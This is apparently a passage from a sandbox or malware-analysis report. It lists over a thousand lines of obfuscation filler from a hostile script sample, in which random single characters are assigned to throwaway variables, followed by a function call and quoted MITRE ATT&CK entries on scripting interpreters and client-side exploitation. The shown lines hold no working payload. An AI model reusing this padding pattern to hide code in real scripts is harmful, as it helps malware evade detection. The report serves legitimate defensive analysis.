264	fvlalpl = "O";
265	fvlalpl = "b";
266	fvlalpl = "a";
267	fvlalpl = "M";
268	fvlalpl = "v";
269	fvlalpl = "K";
270	fvlalpl = "E";
271	fvlalpl = "j";
272	fvlalpl = "d";
273	fvlalpl = "B";
274	fvlalpl = "X";
275	fvlalpl = "V";
276	fvlalpl = "M";
277	fvlalpl = "p";
278	dbnonbck = "s";
279	dbnonbck = "e";
280	dbnonbck = "x";
281	dbnonbck = "e";
282	dbnonbck = "x";
283	dbnonbck = "y";
284	dbnonbck = "Q";
285	dbnonbck = "m";
286	dbnonbck = "s";
287	dbnonbck = "F";
288	dbnonbck = "Y";
289	dbnonbck = "Y";
290	dbnonbck = "s";
291	dbnonbck = "v";
292	dbnonbck = "O";
293	dbnonbck = "q";
294	dbnonbck = "U";
295	dbnonbck = "P";
296	dbnonbck = "j";
297	dbnonbck = "E";
298	dbnonbck = "H";
299	dbnonbck = "c";
300	ofywnkfx = "L";
301	rrjirbn = "H";
302	rrjirbn = "m";
303	rrjirbn = "l";
304	rrjirbn = "%";
305	qwybgmh = "R";
306	qwybgmh = "N";
307	qwybgmh = "W";
308	qwybgmh = "P";
309	qwybgmh = "f";
310	qwybgmh = "T";
311	qwybgmh = "e";
312	qwybgmh = "I";
313	qwybgmh = "b";
314	qwybgmh = "E";
315	qwybgmh = "m";
316	qwybgmh = "j";
317	qwybgmh = "U";
318	qwybgmh = "k";
319	qwybgmh = "L";
320	qwybgmh = "S";
321	qwybgmh = "u";
322	qwybgmh = "A";
323	qwybgmh = "v";
324	yrrxp = "L";
325	yrrxp = "R";
326	yrrxp = "k";
327	yrrxp = "s";
328	yrrxp = "I";
329	yrrxp = "z";
330	yrrxp = "z";
331	yrrxp = "h";
332	yrrxp = "X";
333	yrrxp = "K";
334	yrrxp = "i";
335	yrrxp = "l";
336	yrrxp = "W";
337	yrrxp = "E";
338	yrrxp = "r";
339	yrrxp = "k";
340	yrrxp = "L";
341	yrrxp = "B";
342	yrrxp = "Q";
343	yrrxp = "r";
344	yrrxp = "z";
345	yrrxp = "J";
346	yrrxp = "p";
347	yrrxp = "W";
348	yrrxp = "z";
349	yrrxp = "L";
350	yrrxp = "R";
351	yrrxp = "k";
352	yrrxp = "N";
353	yrrxp = "R";
354	yrrxp = "I";
355	yrrxp = "A";
356	yrrxp = "m";
357	yrrxp = "N";
358	yrrxp = "p";
359	yrrxp = "z";
360	yrrxp = "3";
361	pombv = "G";
362	pombv = "y";
363	pombv = "C";
364	pombv = "o";
365	pombv = "W";
366	pombv = "m";
367	pombv = "J";
368	pombv = "z";
369	pombv = "A";
370	pombv = "K";
371	pombv = "o";
372	pombv = "B";
373	pombv = "x";
374	pombv = "j";
375	pombv = "M";
376	pombv = "f";
377	pombv = "q";
378	pombv = "i";
379	pombv = "G";
380	pombv = "e";
381	pombv = "N";
382	pombv = "P";
383	pombv = "b";
384	pombv = "L";
385	pombv = "c";
386	pombv = "k";
387	pombv = "i";
388	pombv = "i";
389	pombv = "U";
390	hjfqer = "D";
391	hjfqer = "n";
392	hjfqer = "Z";
393	hjfqer = "Z";
394	hjfqer = "Q";
395	hjfqer = "V";
396	hjfqer = "I";
397	hjfqer = "Z";
398	hjfqer = "C";
399	hjfqer = "f";
400	hjfqer = "S";
401	hjfqer = "p";
402	hjfqer = "K";
403	hjfqer = "b";
404	hjfqer = "D";
405	hjfqer = "l";
406	hjfqer = "V";
407	hjfqer = "c";
408	hjfqer = "M";
409	hjfqer = "a";
410	hjfqer = "S";
411	hjfqer = "E";
412	hjfqer = "n";
413	hjfqer = "i";
414	hjfqer = "u";
415	hjfqer = "h";
416	hjfqer = "O";
417	hjfqer = "U";
418	hjfqer = "W";
419	hjfqer = "p";
420	hjfqer = "f";
421	hjfqer = "u";
422	hjfqer = "k";
423	hjfqer = "z";
424	hjfqer = "U";
425	hjfqer = "B";
426	hjfqer = "S";
427	hjfqer = "W";
428	hjfqer = "W";
429	hjfqer = "z";
430	hjfqer = "c";
431	hjfqer = "K";
432	hjfqer = "d";
433	qllwcbc = "h";
434	qllwcbc = "T";
435	qllwcbc = "D";
436	qllwcbc = "H";
437	qllwcbc = "B";
438	qllwcbc = "Q";
439	qllwcbc = "r";
440	qllwcbc = "N";
441	qllwcbc = "u";
442	qllwcbc = "N";
443	qllwcbc = "R";
444	qllwcbc = "f";
445	qllwcbc = "t";
446	qllwcbc = "N";
447	qllwcbc = "y";
448	qllwcbc = "X";
449	qllwcbc = "q";
450	qllwcbc = "T";
451	qllwcbc = "k";
452	qllwcbc = "Y";
453	qllwcbc = "N";
454	qllwcbc = "s";
455	qllwcbc = "F";
456	qllwcbc = "X";
457	qllwcbc = "K";
458	qllwcbc = "y";
459	qllwcbc = "N";
460	qllwcbc = "V";
461	qllwcbc = "F";
462	qllwcbc = "w";
463	qllwcbc = "E";
464	qllwcbc = "Z";
465	qllwcbc = "h";
466	qllwcbc = "k";
467	qllwcbc = "n";
468	qllwcbc = "h";
469	qllwcbc = "M";
470	qllwcbc = "Z";
471	qllwcbc = "Z";
472	qllwcbc = "F";
473	qllwcbc = "G";
474	qllwcbc = "z";
475	qllwcbc = "h";
476	qllwcbc = "E";
477	qllwcbc = "N";
478	csivhloe = "P";
479	csivhloe = "U";
480	csivhloe = "f";
481	csivhloe = "p";
482	csivhloe = "Y";
483	csivhloe = "R";
484	csivhloe = "c";
485	csivhloe = "U";
486	csivhloe = "s";
487	csivhloe = "K";
488	csivhloe = "Q";
489	csivhloe = "X";
490	csivhloe = "R";
491	csivhloe = "Y";
492	csivhloe = "t";
493	csivhloe = "Q";
494	csivhloe = "V";
495	csivhloe = "f";
496	csivhloe = "/";
497	aozsi = "P";
498	aozsi = "b";
499	aozsi = "U";
500	aozsi = "a";
501	aozsi = "P";
502	aozsi = "z";
503	aozsi = "A";
504	aozsi = "q";
505	aozsi = "o";
506	aozsi = "H";
507	aozsi = "c";
508	aozsi = "j";
509	aozsi = "Z";
510	aozsi = "E";
511	aozsi = "n";
512	aozsi = "q";
513	aozsi = "a";
514	hhhjfuot = "Z";
515	hhhjfuot = "u";
516	hhhjfuot = "V";
517	hhhjfuot = "D";
518	hhhjfuot = "E";
519	hhhjfuot = "A";
520	hhhjfuot = "E";
521	hhhjfuot = "a";
522	hhhjfuot = "C";
523	hhhjfuot = "F";
524	hhhjfuot = "m";
525	hhhjfuot = "y";
526	hhhjfuot = "D";
527	hhhjfuot = "P";
528	hhhjfuot = "z";
529	hhhjfuot = "n";
530	hhhjfuot = "W";
531	hhhjfuot = "g";
532	hhhjfuot = "q";
533	hhhjfuot = "R";
534	hhhjfuot = "Y";
535	hhhjfuot = "T";
536	hhhjfuot = "O";
537	hhhjfuot = "p";
538	hhhjfuot = "z";
539	hhhjfuot = "M";
540	hhhjfuot = "Y";
541	hhhjfuot = "t";
542	hhhjfuot = "c";
543	hhhjfuot = "h";
544	hhhjfuot = "z";
545	hhhjfuot = "z";
546	hhhjfuot = "V";
547	hhhjfuot = "g";
548	khdjutja = "b";
549	khdjutja = "O";
550	khdjutja = "k";
551	khdjutja = "w";
552	khdjutja = "a";
553	khdjutja = "I";
554	khdjutja = "W";
555	khdjutja = "X";
556	khdjutja = "W";
557	khdjutja = "C";
558	khdjutja = "b";
559	khdjutja = "T";
560	khdjutja = "n";
561	onvrv = "u";
562	onvrv = "L";
563	onvrv = "D";
564	onvrv = "P";
565	dtkkfpg = "K";
566	dtkkfpg = "e";
567	dtkkfpg = "b";
568	dtkkfpg = "O";
569	dtkkfpg = "g";
570	dtkkfpg = "N";
571	dtkkfpg = "A";
572	dtkkfpg = "h";
573	dtkkfpg = "f";
574	dtkkfpg = "q";
575	dtkkfpg = "i";
576	dtkkfpg = "B";
577	dtkkfpg = "C";
578	dtkkfpg = "m";
579	dtkkfpg = "p";
580	dtkkfpg = "O";
581	kaumbjp = "U";
582	kaumbjp = "B";
583	kaumbjp = "f";
584	kaumbjp = "Z";
585	kaumbjp = "W";
586	kaumbjp = "m";
587	kaumbjp = "W";
588	kaumbjp = "U";
589	kaumbjp = "S";
590	kaumbjp = "d";
591	kaumbjp = "V";
592	kaumbjp = "u";
593	uxtwyqdq = "c";
594	uxtwyqdq = "J";
595	uxtwyqdq = "B";
596	uxtwyqdq = "l";
597	uxtwyqdq = "x";
598	uxtwyqdq = "G";
599	uxtwyqdq = "x";
600	uxtwyqdq = "i";
601	uxtwyqdq = "M";
602	uxtwyqdq = "R";
603	uxtwyqdq = "z";
604	uxtwyqdq = "y";
605	uxtwyqdq = "r";
606	uxtwyqdq = "r";
607	uxtwyqdq = "v";
608	uxtwyqdq = "a";
609	uxtwyqdq = "K";
610	uxtwyqdq = "R";
611	uxtwyqdq = "H";
612	uxtwyqdq = "K";
613	uxtwyqdq = "u";
614	uxtwyqdq = "q";
615	uxtwyqdq = "U";
616	uxtwyqdq = "M";
617	uxtwyqdq = "l";
618	uxtwyqdq = "C";
619	uxtwyqdq = "h";
620	uxtwyqdq = "Q";
621	uxtwyqdq = "p";
622	uxtwyqdq = "n";
623	uxtwyqdq = "b";
624	uxtwyqdq = "\"";
625	abhfkknyc = "M";
626	abhfkknyc = "v";
627	abhfkknyc = "P";
628	abhfkknyc = "g";
629	abhfkknyc = "h";
630	abhfkknyc = "v";
631	abhfkknyc = "f";
632	abhfkknyc = "u";
633	abhfkknyc = "Z";
634	abhfkknyc = "j";
635	abhfkknyc = "t";
636	abhfkknyc = "f";
637	abhfkknyc = "J";
638	abhfkknyc = "y";
639	abhfkknyc = "r";
640	abhfkknyc = "F";
641	abhfkknyc = "w";
642	abhfkknyc = "k";
643	abhfkknyc = "C";
644	abhfkknyc = "X";
645	abhfkknyc = "w";
646	abhfkknyc = "r";
647	abhfkknyc = "F";
648	abhfkknyc = "g";
649	abhfkknyc = "Q";
650	abhfkknyc = "k";
651	abhfkknyc = "O";
652	abhfkknyc = "n";
653	abhfkknyc = "M";
654	abhfkknyc = "j";
655	abhfkknyc = "t";
656	abhfkknyc = "I";
657	abhfkknyc = "c";
658	abhfkknyc = "s";
659	abhfkknyc = "G";
660	abhfkknyc = "z";
661	abhfkknyc = "i";
662	abhfkknyc = "l";
663	abhfkknyc = "M";
664	abhfkknyc = "B";
665	abhfkknyc = "n";
666	abhfkknyc = "k";
667	abhfkknyc = "q";
668	abhfkknyc = "s";
669	jmjrows = "Z";
670	jmjrows = "B";
671	jmjrows = "H";
672	jmjrows = "k";
673	jmjrows = "S";
674	jmjrows = "P";
675	jmjrows = "X";
676	jmjrows = "X";
677	jmjrows = "M";
678	jmjrows = "u";
679	jmjrows = "u";
680	jmjrows = "L";
681	jmjrows = "D";
682	jmjrows = "f";
683	jmjrows = "h";
684	jmjrows = "K";
685	jmjrows = "K";
686	jmjrows = "k";
687	jmjrows = "Q";
688	jmjrows = "x";
689	jmjrows = "f";
690	jmjrows = "z";
691	jmjrows = "N";
692	jmjrows = "q";
693	jmjrows = "E";
694	jmjrows = "T";
695	ytusf = "x";
696	ytusf = "\\";
697	tyfusiv = "v";
698	tyfusiv = "q";
699	tyfusiv = "v";
700	tyfusiv = "Y";
701	tyfusiv = "K";
702	tyfusiv = "R";
703	tyfusiv = "z";
704	tyfusiv = "J";
705	tyfusiv = "T";
706	tyfusiv = "s";
707	tyfusiv = "q";
708	tyfusiv = "r";
709	tyfusiv = "R";
710	tyfusiv = "Q";
711	djslhmxur = "L";
712	djslhmxur = "y";
713	djslhmxur = "S";
714	djslhmxur = "M";
715	djslhmxur = "p";
716	djslhmxur = "X";
717	djslhmxur = "M";
718	djslhmxur = "p";
719	djslhmxur = "u";
720	djslhmxur = "H";
721	djslhmxur = "o";
722	djslhmxur = "A";
723	djslhmxur = "q";
724	djslhmxur = "U";
725	djslhmxur = "t";
726	djslhmxur = "D";
727	djslhmxur = "r";
728	djslhmxur = "B";
729	djslhmxur = "x";
730	djslhmxur = "L";
731	djslhmxur = "A";
732	djslhmxur = "R";
733	djslhmxur = "e";
734	lgjmwev = "D";
735	lgjmwev = "v";
736	lgjmwev = "d";
737	lgjmwev = "y";
738	lgjmwev = "I";
739	lgjmwev = "V";
740	lgjmwev = "_";
741	vwvpdchvt = "y";
742	vwvpdchvt = "V";
743	vwvpdchvt = "w";
744	vwvpdchvt = "q";
745	vwvpdchvt = "0";
746	fcwmun = "X";
747	fcwmun = "v";
748	fcwmun = "s";
749	fcwmun = "G";
750	fcwmun = "s";
751	fcwmun = "D";
752	fcwmun = "w";
753	fcwmun = "U";
754	fcwmun = "m";
755	mgjiw = "Q";
756	mgjiw = "J";
757	mgjiw = "a";
758	mgjiw = "p";
759	mgjiw = "s";
760	mgjiw = "P";
761	mgjiw = "9";
762	ieqkuhzox = "x";
763	ieqkuhzox = "k";
764	ieqkuhzox = "x";
765	ieqkuhzox = "R";
766	ieqkuhzox = "V";
767	ieqkuhzox = "u";
768	ieqkuhzox = "l";
769	ieqkuhzox = "M";
770	ieqkuhzox = "y";
771	ieqkuhzox = "B";
772	ieqkuhzox = "l";
773	ieqkuhzox = "R";
774	ieqkuhzox = "L";
775	ieqkuhzox = "c";
776	ieqkuhzox = "T";
777	ieqkuhzox = "I";
778	ieqkuhzox = "q";
779	ieqkuhzox = "S";
780	ieqkuhzox = "N";
781	ieqkuhzox = "x";
782	jtnrfp = "P";
783	jtnrfp = "o";
784	jtnrfp = "K";
785	jtnrfp = "A";
786	jtnrfp = "v";
787	jtnrfp = "T";
788	jtnrfp = "P";
789	jtnrfp = "g";
790	jtnrfp = "O";
791	jtnrfp = "a";
792	jtnrfp = "Q";
793	jtnrfp = "W";
794	jtnrfp = "z";
795	jtnrfp = "A";
796	jtnrfp = "B";
797	jtnrfp = "n";
798	jtnrfp = "h";
799	jtnrfp = "I";
800	jtnrfp = "f";
801	jtnrfp = "h";
802	jtnrfp = "S";
803	jtnrfp = "x";
804	jtnrfp = "T";
805	jtnrfp = "P";
806	jtnrfp = "h";
807	jtnrfp = "y";
808	jtnrfp = "Q";
809	jtnrfp = "g";
810	jtnrfp = "W";
811	jtnrfp = "l";
812	fdredmfa = "P";
813	fdredmfa = "c";
814	fdredmfa = "B";
815	fdredmfa = "Y";
816	fdredmfa = "C";
817	fdredmfa = "q";
818	fdredmfa = "R";
819	fdredmfa = "x";
820	fdredmfa = "X";
821	fdredmfa = "z";
822	fdredmfa = "O";
823	fdredmfa = "f";
824	fdredmfa = "k";
825	fdredmfa = "c";
826	fdredmfa = "f";
827	fdredmfa = "X";
828	fdredmfa = "Y";
829	fdredmfa = "h";
830	fdredmfa = "q";
831	fdredmfa = "J";
832	fdredmfa = "g";
833	fdredmfa = "m";
834	fdredmfa = "n";
835	fdredmfa = "a";
836	fdredmfa = "K";
837	fdredmfa = "B";
838	fdredmfa = "D";
839	fdredmfa = "h";
840	fdredmfa = "S";
841	gtybu = "N";
842	gtybu = "J";
843	gtybu = "j";
844	gtybu = "v";
845	gtybu = "p";
846	gtybu = "M";
847	gtybu = "Y";
848	gtybu = "V";
849	gtybu = "h";
850	gtybu = "S";
851	gtybu = "f";
852	gtybu = "i";
853	gtybu = "d";
854	gtybu = "P";
855	gtybu = "q";
856	gtybu = "F";
857	gtybu = "b";
858	gtybu = "O";
859	gtybu = "w";
860	gtybu = "u";
861	gtybu = "S";
862	gtybu = "p";
863	gtybu = "K";
864	gtybu = "k";
865	gtybu = "w";
866	gtybu = "H";
867	tikdxp = "b";
868	tikdxp = "D";
869	tikdxp = "Z";
870	tikdxp = "L";
871	tikdxp = "k";
872	tikdxp = "n";
873	tikdxp = "w";
874	tikdxp = "y";
875	tikdxp = "e";
876	tikdxp = "x";
877	tikdxp = "e";
878	tikdxp = "m";
879	tikdxp = "M";
880	tikdxp = "i";
881	tikdxp = "r";
882	tikdxp = "k";
883	tikdxp = "w";
884	tikdxp = "e";
885	tikdxp = "p";
886	tikdxp = "A";
887	tikdxp = "C";
888	tikdxp = "a";
889	tikdxp = "s";
890	tikdxp = "Y";
891	tikdxp = "y";
892	tikdxp = "f";
893	uhzvgg = "g";
894	uhzvgg = "r";
895	uhzvgg = "F";
896	uhzvgg = "Z";
897	uhzvgg = "R";
898	uhzvgg = "D";
899	uhzvgg = "J";
900	uhzvgg = "K";
901	uhzvgg = "N";
902	uhzvgg = "M";
903	uhzvgg = "Q";
904	uhzvgg = "a";
905	uhzvgg = "x";
906	uhzvgg = "m";
907	uhzvgg = "I";
908	uhzvgg = "v";
909	uhzvgg = "C";
910	rdctsu = "p";
911	rdctsu = "n";
912	rdctsu = "Q";
913	rdctsu = "i";
914	rdctsu = "a";
915	rdctsu = "h";
916	rdctsu = "U";
917	rdctsu = "k";
918	rdctsu = "K";
919	rdctsu = "w";
920	rdctsu = "X";
921	rdctsu = "D";
922	rdctsu = "o";
923	rdctsu = "I";
924	ivnxqcqu = "s";
925	ivnxqcqu = "R";
926	ivnxqcqu = "B";
927	ivnxqcqu = "m";
928	ivnxqcqu = "T";
929	ivnxqcqu = "N";
930	ivnxqcqu = "J";
931	ivnxqcqu = "Y";
932	ivnxqcqu = "H";
933	ivnxqcqu = "r";
934	ivnxqcqu = "G";
935	ivnxqcqu = "U";
936	ivnxqcqu = "t";
937	ivnxqcqu = "O";
938	ivnxqcqu = "q";
939	ivnxqcqu = "E";
940	ivnxqcqu = "l";
941	ivnxqcqu = "z";
942	ivnxqcqu = "P";
943	ivnxqcqu = "V";
944	ivnxqcqu = "r";
945	ivnxqcqu = "m";
946	ivnxqcqu = "F";
947	ivnxqcqu = "a";
948	ivnxqcqu = "g";
949	ivnxqcqu = "k";
950	mtssge = "y";
951	mtssge = "u";
952	mtssge = "T";
953	mtssge = "J";
954	mtssge = "Y";
955	mtssge = "f";
956	mtssge = "r";
957	mtssge = "k";
958	mtssge = "V";
959	mtssge = "r";
960	mtssge = "e";
961	mtssge = "Q";
962	mtssge = "B";
963	mtssge = "p";
964	mtssge = "K";
965	teaoiqe = "C";
966	teaoiqe = "R";
967	teaoiqe = "x";
968	teaoiqe = "d";
969	teaoiqe = "p";
970	teaoiqe = "M";
971	teaoiqe = "m";
972	teaoiqe = "a";
973	teaoiqe = "E";
974	teaoiqe = "G";
975	teaoiqe = "n";
976	teaoiqe = "f";
977	teaoiqe = "s";
978	teaoiqe = "X";
979	teaoiqe = "h";
980	teaoiqe = "E";
981	teaoiqe = "u";
982	teaoiqe = "l";
983	teaoiqe = "F";
984	teaoiqe = "v";
985	teaoiqe = "F";
986	teaoiqe = "E";
987	teaoiqe = "q";
988	teaoiqe = "A";
989	teaoiqe = "P";
990	teaoiqe = "A";
991	teaoiqe = "e";
992	teaoiqe = "Z";
993	teaoiqe = "v";
994	teaoiqe = "l";
995	teaoiqe = "Q";
996	teaoiqe = "n";
997	teaoiqe = "H";
998	teaoiqe = "t";
999	teaoiqe = "u";
1000	teaoiqe = "M";
1001	teaoiqe = "P";
1002	teaoiqe = "W";
1003	teaoiqe = "H";
1004	teaoiqe = "B";
1005	teaoiqe = "A";
1006	teaoiqe = "E";
1007	teaoiqe = "B";
1008	teaoiqe = "R";
1009	tsuclzgto = "n";
1010	tsuclzgto = "n";
1011	tsuclzgto = "m";
1012	tsuclzgto = "n";
1013	tsuclzgto = "w";
1014	tsuclzgto = "Z";
1015	tsuclzgto = "d";
1016	tsuclzgto = "z";
1017	tsuclzgto = "x";
1018	tsuclzgto = "C";
1019	tsuclzgto = "C";
1020	tsuclzgto = "o";
1021	tsuclzgto = "j";
1022	xlaesahw = "d";
1023	xlaesahw = "1";
1024	tmtguhvg = "q";
1025	tmtguhvg = "o";
1026	tmtguhvg = "Q";
1027	tmtguhvg = "C";
1028	tmtguhvg = "P";
1029	tmtguhvg = "g";
1030	tmtguhvg = "j";
1031	tmtguhvg = "p";
1032	tmtguhvg = "t";
1033	tmtguhvg = "E";
1034	tmtguhvg = "i";
1035	tmtguhvg = "J";
1036	tmtguhvg = "W";
1037	tmtguhvg = "K";
1038	tmtguhvg = "d";
1039	tmtguhvg = "U";
1040	tmtguhvg = "s";
1041	tmtguhvg = "o";
1042	stefvx = "D";
1043	stefvx = "m";
1044	stefvx = "5";
1045	yjqunh = "W";
1046	yjqunh = "w";
1047	yjqunh = "D";
1048	yjqunh = "Y";
1049	yjqunh = "b";
1050	yjqunh = "y";
1051	yjqunh = "f";
1052	yjqunh = "U";
1053	yjqunh = "A";
1054	yjqunh = "d";
1055	yjqunh = "L";
1056	yjqunh = "m";
1057	yjqunh = "K";
1058	yjqunh = "l";
1059	yjqunh = "E";
1060	yjqunh = "J";
1061	yjqunh = "M";
1062	yjqunh = "E";
1063	yjqunh = "N";
1064	yjqunh = "T";
1065	yjqunh = "L";
1066	yjqunh = "F";
1067	prhapnml = "a";
1068	prhapnml = "k";
1069	prhapnml = "X";
1070	prhapnml = "v";
1071	prhapnml = "o";
1072	prhapnml = "F";
1073	prhapnml = "e";
1074	prhapnml = "S";
1075	prhapnml = "G";
1076	prhapnml = "o";
1077	prhapnml = "O";
1078	prhapnml = "p";
1079	prhapnml = "P";
1080	prhapnml = "T";
1081	prhapnml = "D";
1082	prhapnml = "e";
1083	prhapnml = "d";
1084	prhapnml = "w";
1085	prhapnml = "O";
1086	prhapnml = "U";
1087	prhapnml = "V";
1088	prhapnml = "b";
1089	prhapnml = "w";
1090	prhapnml = "M";
1091	prhapnml = "G";
1092	prhapnml = "J";
1093	prhapnml = "Z";
1094	prhapnml = "f";
1095	prhapnml = "L";
1096	prhapnml = "o";
1097	prhapnml = "p";
1098	prhapnml = "6";
1099	qrggzznzv = "r";
1100	qrggzznzv = "c";
1101	qrggzznzv = "d";
1102	qrggzznzv = "F";
1103	qrggzznzv = "t";
1104	qrggzznzv = "q";
1105	qrggzznzv = "S";
1106	qrggzznzv = "R";
1107	qrggzznzv = "I";
1108	qrggzznzv = "g";
1109	qrggzznzv = "S";
1110	qrggzznzv = "x";
1111	qrggzznzv = "B";
1112	qrggzznzv = "i";
1113	qrggzznzv = "d";
1114	qrggzznzv = "i";
1115	qrggzznzv = "g";
1116	qrggzznzv = "A";
1117	qrggzznzv = "H";
1118	qrggzznzv = "j";
1119	qrggzznzv = "u";
1120	qrggzznzv = "I";
1121	qrggzznzv = "m";
1122	qrggzznzv = "J";
1123	qrggzznzv = "I";
1124	qrggzznzv = "B";
1125	qrggzznzv = "Q";
1126	qrggzznzv = "x";
1127	qrggzznzv = "H";
1128	qrggzznzv = "L";
1129	qrggzznzv = "G";
1130	qrggzznzv = "D";
1131	qrggzznzv = "t";
1132	qrggzznzv = "C";
1133	qrggzznzv = "n";
1134	qrggzznzv = "w";
1135	qrggzznzv = "H";
1136	qrggzznzv = "y";
1137	qrggzznzv = "A";
1138	qrggzznzv = "c";
1139	qrggzznzv = "T";
1140	qrggzznzv = "J";
1141	qrggzznzv = "E";
1142	gcipu = "g";
1143	gcipu = "D";
1144	gcipu = ".";
1145	puwyek = "O";
1146	puwyek = "k";
1147	puwyek = "f";
1148	puwyek = "f";
1149	puwyek = "K";
1150	puwyek = "q";
1151	xdzcxungo = "U";
1152	xdzcxungo = "b";
1153	xdzcxungo = "H";
1154	xdzcxungo = "s";
1155	xdzcxungo = "b";
1156	xdzcxungo = "C";
1157	xdzcxungo = "h";
1158	xdzcxungo = "e";
1159	xdzcxungo = "W";
1160	xdzcxungo = "Q";
1161	xdzcxungo = "o";
1162	xdzcxungo = "F";
1163	xdzcxungo = "b";
1164	xdzcxungo = "A";
1165	xdzcxungo = "w";
1166	xdzcxungo = "K";
1167	xdzcxungo = "W";
1168	xdzcxungo = "C";
1169	xdzcxungo = "R";
1170	xdzcxungo = "s";
1171	xdzcxungo = "O";
1172	xdzcxungo = "U";
1173	xdzcxungo = "l";
1174	xdzcxungo = "M";
1175	xdzcxungo = "B";
1176	xdzcxungo = "X";
1177	xdzcxungo = "u";
1178	xdzcxungo = "S";
1179	xdzcxungo = "q";
1180	xdzcxungo = "C";
1181	xdzcxungo = "x";
1182	xdzcxungo = "m";
1183	xdzcxungo = "J";
1184	xdzcxungo = "a";
1185	xdzcxungo = "Z";
1186	xdzcxungo = "Y";
1187	vgvjmm = "a";
1188	vgvjmm = "O";
1189	vgvjmm = "N";
1190	vgvjmm = "p";
1191	vgvjmm = "g";
1192	vgvjmm = "e";
1193	vgvjmm = "H";
1194	vgvjmm = "t";
1195	vgvjmm = "E";
1196	vgvjmm = "r";
1197	vgvjmm = "f";
1198	vgvjmm = "f";
1199	vgvjmm = "U";
1200	vgvjmm = "T";
1201	vgvjmm = "U";
1202	vgvjmm = "w";
1203	vgvjmm = "r";
1204	vgvjmm = "S";
1205	vgvjmm = "c";
1206	vgvjmm = "f";
1207	vgvjmm = "t";
1208	vgvjmm = "b";
1209	vgvjmm = "N";
1210	vgvjmm = "k";
1211	vgvjmm = "j";
1212	vgvjmm = "u";
1213	vgvjmm = "l";
1214	vgvjmm = "l";
1215	vgvjmm = "Q";
1216	vgvjmm = "e";
1217	vgvjmm = "x";
1218	vgvjmm = "T";
1219	vgvjmm = "S";
1220	vgvjmm = "H";
1221	vgvjmm = "G";
1222	vgvjmm = "H";
1223	vgvjmm = "h";
1224	cwcwm = "p";
1225	cwcwm = "e";
1226	cwcwm = "L";
1227	cwcwm = "A";
1228	cwcwm = "u";
1229	cwcwm = "I";
1230	cwcwm = "R";
1231	cwcwm = "Q";
1232	cwcwm = "j";
1233	cwcwm = "v";
1234	cwcwm = "l";
1235	cwcwm = "t";
1236	cwcwm = "B";
1237	cwcwm = "V";
1238	cwcwm = "K";
1239	cwcwm = "H";
1240	cwcwm = "m";
1241	cwcwm = "w";
1242	zhemmrel = "r";
1243	zhemmrel = "C";
1244	zhemmrel = "C";
1245	zhemmrel = "m";
1246	zhemmrel = "L";
1247	zhemmrel = "p";
1248	zhemmrel = "G";
1249	zhemmrel = "n";
1250	zhemmrel = "h";
1251	zhemmrel = "J";
1252	zhemmrel = "t";
1253	zhemmrel = "Q";
1254	zhemmrel = "m";
1255	zhemmrel = "A";
1256	zhemmrel = "z";
1257	zhemmrel = "I";
1258	zhemmrel = "L";
1259	zhemmrel = "i";
1260	zhemmrel = "u";
1261	zhemmrel = "v";
1262	zhemmrel = "X";
1263	zhemmrel = "M";
1264	zhemmrel = "i";
1265	zhemmrel = "q";
1266	zhemmrel = "w";
1267	zhemmrel = "o";
1268	zhemmrel = "g";
1269	zhemmrel = "j";
1270	zhemmrel = "M";
1271	zhemmrel = "Z";
1272	zhemmrel = "8";
1273	njwbld = "R";
1274	njwbld = "K";
1275	njwbld = "d";
1276	njwbld = "P";
1277	njwbld = "k";
1278	njwbld = "H";
1279	njwbld = "R";
1280	njwbld = "j";
1281	njwbld = "D";
1282	njwbld = "b";
1283	njwbld = "q";
1284	njwbld = "T";
1285	njwbld = "S";
1286	njwbld = "H";
1287	njwbld = "R";
1288	njwbld = "F";
1289	njwbld = "j";
1290	njwbld = "y";
1291	njwbld = "T";
1292	njwbld = "o";
1293	njwbld = "L";
1294	njwbld = "l";
1295	njwbld = "r";
1296	njwbld = "c";
1297	njwbld = "F";
1298	njwbld = "J";
1299	njwbld = "E";
1300	njwbld = "h";
1301	njwbld = "j";
1302	njwbld = "J";
1303	njwbld = "A";
1304	njwbld = "a";
1305	njwbld = "T";
1306	njwbld = "p";
1307	njwbld = "P";
1308	njwbld = "j";
1309	njwbld = "G";
1310	njwbld = "h";
1311	njwbld = "e";
1312	njwbld = "R";
1313	njwbld = "A";
1314	njwbld = "S";
1315	njwbld = "o";
1316	njwbld = "P";
1317	njwbld = "i";
1318	dcwicct = "O";
1319	dcwicct = "k";
1320	dcwicct = "V";
1321	dcwicct = "h";
1322	dcwicct = "W";
1323	dcwicct = "G";
1324	dcwicct = "w";
1325	dcwicct = "A";
1326	dcwicct = "f";
1327	dcwicct = "W";
1328	dcwicct = "a";
1329	dcwicct = "Z";
1330	dcwicct = "o";
1331	dcwicct = "e";
1332	dcwicct = "R";
1333	dcwicct = "Y";
1334	dcwicct = "L";
1335	dcwicct = "l";
1336	dcwicct = "J";
1337	dcwicct = "Y";
1338	dcwicct = "G";
1339	dcwicct = "i";
1340	dcwicct = " ";
1341	oampa ( );	oampa() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

